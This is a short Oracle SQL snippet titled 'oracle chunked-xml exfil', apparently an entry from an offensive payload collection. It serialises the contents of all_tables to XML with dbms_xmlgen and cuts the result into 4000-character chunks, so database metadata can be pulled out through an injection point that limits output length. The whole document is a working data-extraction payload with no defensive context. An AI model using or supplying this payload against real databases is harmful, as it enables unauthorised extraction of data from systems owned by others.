oracle chunked-xml exfil

oracle_chunked_xml_exfil.sql

select c from (
  select cast(dbms_lob.substr(t.c, 4000, (n.i) * 4000 + 1) as varchar(4000)) c, t.r i, n.i j
  from ((
    select rownum r, dbms_lob.getlength(c) l, c 
    from (
      select dbms_xmlgen.getxml('select * from all_tables') c 
      from dual)
  ) t inner join (
    select rownum - 1 as i 
    from dual 
    connect by level <= 5000
  ) n on n.i < length(t.c) / 4000)) 
order by i, j;